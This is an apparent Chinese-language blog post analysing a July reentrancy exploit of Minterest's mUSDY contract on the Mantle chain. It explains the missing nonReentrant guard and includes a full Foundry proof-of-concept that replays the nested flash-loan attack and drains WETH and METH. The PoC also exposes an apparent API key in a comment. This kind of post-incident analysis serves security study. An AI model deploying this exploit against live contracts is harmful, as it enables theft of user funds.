基本信息7月15在mantle链上发生了一起针对Minterest合约的攻击,共损失1.4M。我对这次攻击思路进行了整理,并完成一份PoC。
7月15在mantle链上发生了一起针对Minterest合约的攻击,共损失1.4M。我对这次攻击思路进行了整理,并完成一份PoC。 twitter信息: https://x.com/CertiKAlert/status/1812692551012679864 mudsy的lendUSDY方法(漏洞代码):https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code 攻击交易: https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd?line=28
我们访问musdy在mantlescan上的数据https://mantlescan.info/address/0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c/contract/5000/writeContract 可以发现,musdy合约本身支持多种金融工具:
项目方可能是为了提高资金的利用率,所以把借贷和闪电贷放到同一个合约池子里运营。由于lending使用的lendRUSDY没有加重入锁(其他方法都加了“nonReentrant” 修饰符),导致用户可以在flashloan回调方法中再次进入该合约。 而闪电贷本身已经改变了池子中USDY和mUSDY的汇率,再次进入合约中就可以根据改编后的汇率差进行套利。黑客利用lendRUSDY再次进入合约后,是将自己贷款到的USDY进行放贷。由于之前闪电贷已经导致RUSDY变“贵”,此时使用USDY放贷,会得到更多的mToken(mMETH)。当闪电贷结束后USDY和mUSDY的汇率恢复到正常水平,黑客再redeem之前放贷的USDY,由于此时USDY已经变“便宜”,所以只用销毁少量mToken。整个过程中mToken的个数差,就是获利点。 黑客重复上述操作25次,共获利1.4M。 下图是黑客重入的musdy合约的痕迹:
问题代码比较简单,就是lendRUSDY方法的声明中无“nonReentrant”修饰符: 对比这个合约中的其他重要方法,例如flashloan方法,有重入锁,是安全的:
攻击步骤如下:
我通过在foundry上写PoC,复刻黑客所有步骤,最终盈利WETH 223个,METH150个。 代码如下:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.sol";
//cast interface --etherscan-api-key NGI4DVW2JA83X4WZICZCB7A1N6UTV5IAGH -c mantle 0xe53a90efd263363993a3b41aa29f7dabde1a932d
contract minsterestAttack is Test {
address usdy=0x5bE26527e817998A7206475496fDE1E68957c5A6;
address musd=0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3;
address musdy=0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c;
address mintProxy=0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;
address usdyUdcContract=0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;
address mweth=0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be;
address mmeth=0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d;
address weth=0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111;
address meth=0xcDA86A272531e8640cD7F1a92c01839911B90bb0;
function setUp() external {
vm.createSelectFork("https://rpc.mantle.xyz", 66416577 - 1);
deal(address(usdy), address(this), 436539125289000e6);
}
function testAttack() external{
//0. 先打印攻击前账户余额
console.log("*******************before attack*******************");
console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
console.log("METH: ",IERC20(meth).balanceOf(address(this)));
//1. approve musd和musdy合约资金调用。
IERC20(usdy).approve(musdy,type(uint256).max);
IERC20(usdy).approve(musd,type(uint256).max);
IERC20(musd).approve(musdy,type(uint256).max);
IERC20(musdy).approve(musdy,type(uint256).max);
address[] memory mTokens=new address[](1);
mTokens[0]=musdy;
MintProxy(payable(mintProxy)).enableAsCollateral(mTokens);
//2. 第一层闪电贷
uint256 flashAmount=IERC20(usdy).balanceOf(usdyUdcContract);
iusdyUdcContract(payable(usdyUdcContract)).flash(address(this),0,flashAmount,"");
//3. 借款
uint256 mweth_balance=IERC20(weth).balanceOf(mweth);
MintProxy(payable(mweth)).borrow(mweth_balance);
MintProxy(payable(mmeth)).borrow(150e18);//这个数值我自己试出来的,如果按照交易栈借204个ether会报错,150个ether不会报错。
//4.先打印攻击后账户余额
console.log("*******************after attack*******************");
console.log("WETH: ",IERC20(weth).balanceOf(address(this)));
console.log("METH: ",IERC20(meth).balanceOf(address(this)));
}
//第一个闪电贷的回调还款函数
function agniFlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external{
for(uint256 i = 0; i < 25; i++){
uint256 maxFlashAmount=MintProxy(payable(musdy)).maxFlashLoan(usdy);
MintProxy(payable(musdy)).flashLoan(address(this),usdy,maxFlashAmount,data);
MintProxy(payable(musdy)).redeemUnderlying(4265817792016953140101195);//这个数直接抄的交易栈里面的值
}
//还款闪电贷
IERC20(usdy).transfer(usdyUdcContract,4265817792016953140101195);
}
//第二层闪电贷的回调函数
function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee,bytes calldata data) external returns(bytes32){
// //wrap musd
MintProxy(payable(musd)).wrap(4260000000000000000000000);
//balance of musd in attacker contract
uint256 balance=IERC20(musd).balanceOf(address(this));
//lendrusdy same balance
MintProxy(payable(musdy)).lendRUSDY(balance);
return keccak256("ERC3156FlashBorrower.onFlashLoan");//之所以返回这个值,是因为查看了MUSDY的源代码,flashloan函数会判断onflashloan的返回是不是这个值。MUSDY源代码在:https://mantlescan.info/address/0x4B351368459ccC0024197D24Ab7ba278E4c6f510/contract/5000/code的Mtoken.sol里
}
}
https://github.com/SunWeb3Sec/DeFiHackLabs/blame/main/src/test/2024-07/Minterest_exp.sol 这个poc写的很好 https://x.com/octane_security/status/1814141328420430187 这个推特写的很简单精准。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!